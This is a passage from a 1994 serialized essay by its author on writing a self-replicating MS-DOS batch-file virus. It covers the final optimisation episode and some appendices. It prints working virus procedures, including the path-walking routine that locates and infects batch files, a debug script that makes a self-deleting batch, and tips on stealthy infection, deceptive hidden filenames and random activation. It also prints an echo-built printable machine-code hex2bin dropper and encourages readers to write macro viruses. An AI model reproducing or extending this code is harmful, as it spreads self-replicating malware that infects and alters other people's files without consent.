  1539. CALL accepts input from a pipe. However, it executes only 
  1540. the first non-empty line:
  1541.      echo Hello World | call
  1542. will work fine, but
  1543.      type autoexec.bat | call
  1544. will execute only the first non-empty line of autoexec.bat.
  1545.  
  1546.     [Correction June 1995: It seems that this method only works  ]
  1547.     [correctly if it is used in the last line of the batch file !]
  1548.  
  1549. 'type con | call' also works. Strangely, 'call <file' works,
  1550. while 'call <CON' doesn't (as maybe could be expected, because
  1551. to DOS, 'call<con' is equivalent to 'call' without redirection).
  1552. Maybe someone someday somewhere will find a use for all this.
  1553. And maybe, just maybe, someone may find out why it was
  1554. programmed like that.
  1555.  
  1556. ---------------------------
  1557.  
  1558. This was an episode with a lot of (dull?) code in it, but the
  1559. virus, as given in its entirety in Part I of this essay, is
  1560. finished now. Next week, there will be a last episode about
  1561. the limits of MS-DOS, and the limits of the virus, and about
  1562. some possible changes I could have made to the viruscode (but
  1563. I didn't).
  1564.  
  1565. To be continued...   Old episodes can be downloaded by ftp from
  1566.              emoryi.jpl.nasa.gov:/utils/batch/batvirus.zip
  1567.  
  1568. PART 8
  1569. (23 Nov. 1994)
  1570.  
  1571. Writing a computer virus is a bit like planning the perfect
  1572. murder. Some very amiable and peaceful people like to plan the
  1573. ultimate crime just for the intellectual pleasure: afterwards
  1574. they don't execute their plan, but write a story or a novel
  1575. about it. Likewise, I believe, there are many nice and decent
  1576. hackers in the world that spend their evenings programming the
  1577. perfect virus, only to prove to themselves and to a few
  1578. friends that they can do it. I did it: now I am writing the
  1579. story. This is the last episode: if you missed some episodes, 
  1580. the full story can be downloaded by ftp: emoryi.jpl.nasa.gov:
  1581. /utils/batch/batvirus.zip
  1582.  
  1583.  
  1584.     The Hidden Strengths of the Dos Batch Language
  1585.  
  1586.               Part VIII:
  1587.           Optimizing and Improving
  1588.  
  1589.  
  1590. In writing the virus, a few times I had ran into a very
  1591. annoying limitation of MS-DOS: the maximum line length of 127
  1592. characters. Command.com will not process longer lines. The
  1593. first time I encountered the problem was when a line that had
  1594. %path% in it was expanded during execution beyond the 127
  1595. character limit, and letters fell off at the end of the line,
  1596. creating a nasty bug. I had not been able to solve the problem,
  1597. I had only reformulated the command, so that %path% was at the
  1598. end of the line, and if letters fell off, no damage was done,
  1599. only functionality was reduced.
  1600.  
  1601. The same limitation is giving trouble still. Commands like
  1602.      for %%a in (%2\*.bat;%2*.bat) do command /e:10000 /c
  1603.      %ViRuSname% /ViRuS_MULTIPLY %%a
  1604. can expand to very long lines, not when the system path is too
  1605. long, but when seperate elements of the system path are too
  1606. long. This line just could expand to:
  1607.      for %a in (C:\JOHN\TOOLS\NORTON\*.bat;C:\JOHN\TOOLS\
  1608.      NORTON*.bat) do command /e:10000 /c C:\FRED\BATCHES\
  1609.      TETRIS.BAT /ViRuS_MULTIPLY %a
  1610. or even to something longer. It is possible to minimize this
  1611. danger, often by splitting long lines in two smaller lines with
  1612. the same functionality. E.g. the line in the above example
  1613. could be splitted into:
  1614.      for %%a in (%2\*.bat) do ...
  1615.      for %%a in (%2*.bat) do...
  1616.  
  1617. Another method to minimize the danger is shortening the
  1618. parameter strings /ViRuS_MULTIPLY, /ViRuS_PARSEPATH and
  1619. /ViRuS_FINDSELF to /ViRuSM, /ViRuSP and /ViRuSF; also, 'command
  1620. /e:9999' is almost as good as 'command /e:10000', so that's
  1621. another byte won. You could even let the virus make a copy of
  1622. command.com by the name of c.com, and use 'c /c' in the longer
  1623. commands. But I stopped here.
  1624.  
  1625. Indeed, it was time to stop. The code as it was now, was
  1626. elegant and simple, and I did not want to obfuscate it. It
  1627. worked, as it was, on my own computer, of which the system path
  1628. contained no excessively long elements. It had been enough.
  1629.  
  1630. ---------------------------
  1631.  
  1632. But I feel I should mention a few changes I still could have
  1633. made, to make the picture complete.
  1634.  
  1635. When a batch file starts another batch without using CALL 
  1636. or COMMAND/c, execution of the first batch is not
  1637. suspended but halted completely. It is as if the first batch
  1638. fades into the other: the second, 'chained' batch is not on
  1639. another level, like a 'called' batch. This way, and this is
  1640. important, if a batch that is itself 'called' by another one,
  1641. 'chains' to a third one, then after execution of the third
  1642. one, control is given back to the first. 
  1643.  
  1644. Quite a while after I had implemented the changes described
  1645. in Part VII, I realised that it had not been necessary to use
  1646. COMMAND/c in combination with EXIT, that I could also
  1647. have kept the CALL commands, and emulated the EXIT's by
  1648. chaining to an empty batch file. As an example, I will give
  1649. the three versions of the procedure findself and the
  1650. accompaning procedure call for comparison:
  1651.  
  1652. 1. The standard version:
  1653.  
  1654. if not exist %0.bat call %0 /ViRuS_FINDSELF %path%
  1655.  
  1656. :ViRuS_findself
  1657. if "%2==" goto XXX_END>nul.ViRuS
  1658. if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
  1659. if exist %ViRuSname%.bat goto XXX_END
  1660. if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
  1661. if exist %ViRuSname%.bat goto XXX_END
  1662. shift>nul.ViRuS
  1663. goto ViRuS_findself
  1664.  
  1665. 2. The command/c version:
  1666.  
  1667. if not exist %0.bat command /e:10000 /c %0 /ViRuS_FINDSELF %path%
  1668. if not exist %0.bat call xViRuSx
  1669. if not exist %0.bat del xViRuSx.bat
  1670.  
  1671. :ViRuS_findself
  1672. if "%2==" echo.>xViRuSx.bat
  1673. if "%2==" exit>nul.ViRuS
  1674. if exist %2\%ViRuSname%.bat echo set ViRuSname=%2\%ViRuSname%>xViRuSx.bat
  1675. if exist %2\%ViRuSname%.bat exit
  1676. if exist %2%ViRuSname%.bat echo set ViRuSname=%2%ViRuSname%>xViRuSx.bat
  1677. if exist %2%ViRuSname%.bat exit
  1678. shift>nul.ViRuS
  1679. goto ViRuS_findself
  1680.  
  1681. 3. The call/chain version:
  1682.  
  1683. if not exist %0.bat echo.>yViRuSy.bat
  1684. if not exist %0.bat call %0 /ViRuS_FINDSELF %path%
  1685. if not exist %0.bat del yViRuSy.bat
  1686.  
  1687. :ViRuS_findself
  1688. if "%2==" yViRuSy
  1689. if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
  1690. if exist %2\%ViRuSname%.bat yViRuSy
  1691. if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
  1692. if exist %2%ViRuSname%.bat yViRuSy
  1693. shift>nul.ViRuS
  1694. goto ViRuS_findself
  1695.  
  1696. ---------------------------
  1697.  
  1698. But tests indicated that there was absolutely no reason to
  1699. switch to this technique: if I used it for all procedure calls,
  1700. only one second was won in infecting the 53 files of my \batch
  1701. directory; and on the other hand, when there was no extra
  1702. shell (created with command /e:10000), there would be danger
  1703. that the IchBin variable could not be created, the only
  1704. variable in the program that was essential and might not be
  1705. corrupted. For safety's sake, I would have to use a method of
  1706. checking files that did not need a variable (see Part VI).
  1707.  
  1708. There might be some places where the new technique could be
  1709. advantageous: it could be used to shorten the two very long
  1710. lines in the procedure parsepath. If it was only used inside
  1711. the parsepath procedure, and not for calling the parsepath
  1712. procedure itself, the multiply procedure would 'inherit' a
  1713. large environment from parsepath, so IchBin would be safe, and
  1714. the two lines would be in less danger of being too long. But as
  1715. I said before: I won't optimize for line length, as I prefer
  1716. clear and elegant code. 
  1717.  
  1718. ---------------------------
  1719.  
  1720. Another change that would be good for a real-world virus, would
  1721. be a test if command.com and find.exe are really to be found in
  1722. the system path; if not, the virus should abort immediately.
  1723.  
  1724. ---------------------------
  1725.  
  1726. And now: the last bug. Because of course there is one left,
  1727. although we prefer to call it a feature. It is this: when a
  1728. batch is infected, in which the writer used the same technique
  1729. to make procedure calls as I did in my virus, the virus will
  1730. become active every time a procedure is called. This may
  1731. become very annoying. This bug hadn't been solved yet when I
  1732. started to write this essay, in fact it had not even been
  1733. detected. I can suggest a fix, but I didn't myself bother to
  1734. put it in the version that is now eating my hard disk space. 
  1735.  
  1736. The principle is simple: before execution of the original
  1737. batch, an environment variable savevoff would be set to
  1738. %voff%, and voff to T. (Remember that voff was a variable
  1739. designed to make it possible to disable the virus) After 
  1740. execution voff should be set back to %savevoff%. But then 
  1741. there is this problem: how can the virus regain control 
  1742. after execution of the original batch, to do this ? That
  1743. can be solved by, instead of jumping to ViRuS_OLDBAT with
  1744. GOTO, CALLing %0 /ViRuS_OLDBAT %0 %1 %2 %3 %4 %5 %6 %7 %8 %9
  1745. (with in the procedure dispather:
  1746.     if not "%1=="/ViRuS_OLDBAT goto NOT_ViRuS_OLDBAT
  1747.     shift>nul.ViRuS
  1748.     shift>nul.ViRuS
  1749.     goto ViRuS_OLDBAT
  1750.     :NOT_ViRuS_OLDBAT
  1751. where the repetition of %0 in the CALL command makes it
  1752. possible to 'shift out' /ViRuS_OLDBAT without loosing the
  1753. correct %0 value, for use by the original batch).
  1754.  
  1755. If you fear that the original batch might accept more than
  1756. nine parameters, (you are a careful programmer and) you can 
  1757. paste them together (same method as used for VPATH in the
  1758. parsepath procedure) and call %0 /ViRuS_OLDBAT %0 %ALLPARMS%.
  1759.  
  1760. ---------------------------
  1761.  
  1762. This again leaves the problem, however, of how the virus, that
  1763. has regained control, and reset voff, should end execution of
  1764. the batch. It cannot jump to XXX_END, because there is no more
  1765. XXX_END; it cannot use EXIT, because it is executed in the
  1766. outer shell; so the 'chaining' method has to be used. The
  1767. virus will have to create an empty file and chain to it, but
  1768. it will have no more chance to delete it, of course. 
  1769.  
  1770. I tested whether a batch file can delete itself, but this was
  1771. only possible if the DEL command was on the last line of
  1772. the file, and if this line was immediately terminated by ^Z;
  1773. and such a file cannot be made using only ECHO commands.
  1774.  
  1775. (Using debug with an input script feels like cheating; if I 
  1776. wrote this virus to use it, instead of for the sport, I would 
  1777. be practical and use debug, as follows:
  1778.  
  1779. echo e100 "@del %%0.bat" 1A >zViRuSz.scr
  1780. echo rcx                   >>zViRuSz.scr
  1781. echo C                     >>zViRuSz.scr
  1782. echo nzViRuSz.bat          >>zViRuSz.scr
  1783. echo w                     >>zViRuSz.scr
  1784. echo q                     >>zViRuSz.scr
  1785. debug <zViRuSz.scr>nul
  1786. del zViRuSz.scr
  1787. zViRuSz
  1788.  
  1789. With debug, of course, everything is possible: e.g. the virus
  1790. could use debug to test if there is enough disk space left for
  1791. infections: let debug assemble a little program on the fly, that
  1792. sets ERRORLEVEL if there isn't enough space left. More and more
  1793. functions could be handled more efficiently by debug scripts,
  1794. and the batchvirus would become a kind of hybrid batch/debugvirus.
  1795. That is the reason why using debug is against the philosophy of
  1796. the project, although debug is a standard DOS tool. By the way,
  1797. a rough test of disk space can also be done by XCOPYing %0 and
  1798. the file that is going to be infected, and checking errorlevel
  1799. before deleting the copies again: that would be more in the 
  1800. spirit of the BatchViRuS, and another possible improvement.)
  1801.  
  1802. (Let's open those parentheses again and warn you to be careful
  1803. with XCOPY. XCOPY wants input from the user, which of course you
  1804. can supply with '<readymadefile', but this input differs between
  1805. different language versions of DOS.)
  1806.  
  1807. If you don't use debug, the chained-to file should be left 
  1808. empty, and the filename should be something like \TEMP0001.BAT,
  1809. and/or a hidden file, or something equally deceptive. There
  1810. seems to be no more elegant solution. It is maybe the 'ugliness'
  1811. of the solution, more than the improbability of occurence of 
  1812. the problem and its relative harmlesness, that made me leave 
  1813. this last bug fix out of the final code.
  1814.  
  1815. ---------------------------
  1816.  
  1817. Still imperfect my virus might be, but I had proven my point.
  1818. The code as it was now was not totally optimized for real use,
  1819. but it was a perfect demonstration of the principles behind
  1820. it. It had taken me weeks to get the program right: weeks for
  1821. only some seventy lines of code, but I am as proud of them, as
  1822. the scientists who proved that you can make a silk purse out
  1823. of a sow's ear must have been of their artifact. Writing a
  1824. virus in DOS batch language: it sounded impossible once, but
  1825. in fact it has been possible since MS-DOS 3.3. In all those
  1826. years, nobody seems to have tried, or succeeded; at least I
  1827. never heard about a virus for batches.
  1828.  
  1829. In the Dutch monthly PC Magazine, there is always a section
  1830. about weird WordPerfect macros, in which the macro language is
  1831. used for things it was clearly not designed for. I always read
  1832. that section, although I only use the simplest functions of
  1833. WP, if I use WP at all. It is the artistry of some programmers
  1834. that makes this section worth reading, their imaginativeness
  1835. with limited means. Also, a while ago, there was an article in
  1836. my newspaper, about an exhibition of African toys, toys made
  1837. by children who cannot afford to buy the ready-made stuff. One
  1838. photograph showed a surprisingly realistic replica of a plane,
  1839. made mainly out of a few empty packets of cigarettes and many
  1840. hours of tinkering. These are two examples of real art. 
  1841.  
  1842. Given the right circumstances, the appropriate limitedness of
  1843. means, everybody will become an artist. On the other hand, if
  1844. means are abundant, there is little incentive to become one.
  1845. Primitive programming environments must be cherished as a
  1846. source of creative programming ("Down with the Mac!"). I think
  1847. I did my share with the BatchViRuS, but many primitive
  1848. programming languages remain to be explored: who now will
  1849. write the virus for WordPerfect macros ?
  1850.  
  1851. Happy hacking, 
  1852.  
  1853. Dirk van Deun, Brussels, November 1994.
  1854.  
  1855.  
  1856. ------------------
  1857. APPENDICES/ADDENDA
  1858. ------------------
  1859.  
  1860. 1. First of all, there seem to be more batch viruses in the world than mine
  1861. alone. However, only I and Terry Newton seem to write 'true' batch viruses:
  1862. most other batch viruses use debug scripts or embedded machine code. (It is
  1863. possible to write printable .COM programs; you just need a lot of patience
  1864. and a liking for puzzles. I also have seen a printable hex2bin program, so
  1865. it isn't even necessary to make printable programs any more: you can include
  1866. the printable hex2bin.com, plus your own program in hexadecimal notation in
  1867. a batch, and ECHO them both into files; then run hex2bin on the other file.)
  1868. Some of these not-really-batch viruses are malicious.
  1869.  
  1870. 2. I incorporated the signature string ViRuS in all lines of my virus in quite
  1871. ingenious ways, but Terry Newton showed me the one simple way: just put %ViRuS%
  1872. or any other non-existant environment variable with the signature in it
  1873. anywhere on a line: DOS will replace it by an empty string at run time.
  1874.  
  1875. 3. There is a reasonably effective and quick infection method that is worth
  1876. mentioning: infect the 'last' batch file of directories.
  1877.     for %a in (%directory%\*.bat) do set file=%a
  1878.         --> infect %file%
  1879. This infects slowly, but can go almost unnoticed, because of its simplicity,
  1880. and because only one batch at a time is infected.
  1881.  
  1882. 4. In DOS 6 it is easy to activate the virus on pseudo-random moments:
  1883.     echo. | time | find "00" > nul
  1884.     --> if errorlevel
  1885. In older DOS versions, FIND doesn't affect ERRORLEVEL. You will have to work
  1886. around this by redirecting the output of FIND to a file and checking whether
  1887. or not this file is empty (remember that COPY does not work on empty files,
  1888. so that you can use COPY FILE FILE2 plus IF EXIST FILE2...). 
  1889.  
  1890. 5. One virus I have seen 'infects' .com and .exe files by making a batch file
  1891. with the name of the executable, and renaming the executable. The batch then
  1892. calls the original program.
  1893.  
  1894. 6. My remark about macro viruses (in the conclusion) isn't very up to date any 
  1895. more. Macro languages for mainstream software have evolved quickly during the 
  1896. past few years, and in some of them writing a virus has become almost trivial.
  1897. So don't bother.
  1898.  
  1899.  
  1900. ILLUSTRATION:
  1901.  
  1902. A hex2bin convertor by Herbert Kleebauer (who is, as far as I know, not a
  1903. writer of batch viruses, malicious or otherwise):
  1904.  
  1905. echo j@X$!PZRYI4~@@P]hWDX-a!-a!P[1/hrDX-a!-a!P[1/h#DX-a!-a!P[1/>hex2bin.com
  1906. echo @hsDX-a!-a!P[@@PP_R]!/3-GWX=zzwWUX,!rlUX$O$/P]1/Q]3/E)/Q]3/>>hex2bin.com
  1907. echo @E)/Q]3/E)/Q]3/E)/R]3-GUX,!ruUX$O$/P]1/^R]!,3/1,FVRX,0r/xx>>hex2bin.com
  1908. echo kmooook43o31mkk90100kj1402lm21723n09l07447j01402>>hex2bin.com
  1909. echo 3l3072n73l3977042l30nk0l0l203l6172m93l6677m52l57>>hex2bin.com
  1910. echo o7mm7808l0n004j21502nkl700061502k440kk0100k90100>>hex2bin.com
  1911. echo kj1502lm2173k4k440kk0200k91400kj1602lm21k8004llm>>hex2bin.com
  1912. echo 2100006665686l657220617566676574726574656n0m0j>>hex2bin.com
  1913.  
  1914. The first 3 lines are real machine code; they decode the other 5 lines in
  1915. memory and give control to them: then the decoded routine reads a text file
  1916. from standard input, which is simple hexadecimal (style: 10ab03fb129c, with
  1917. as many cr/lf's as necessary); and it converts it to a binary file, which it
  1918. sends to standard output: use redirection.
  1919.  
  1920. Appendix 1-5 written May 13, 1995
  1921. Appendix 6 written May 25, 1996
  1922.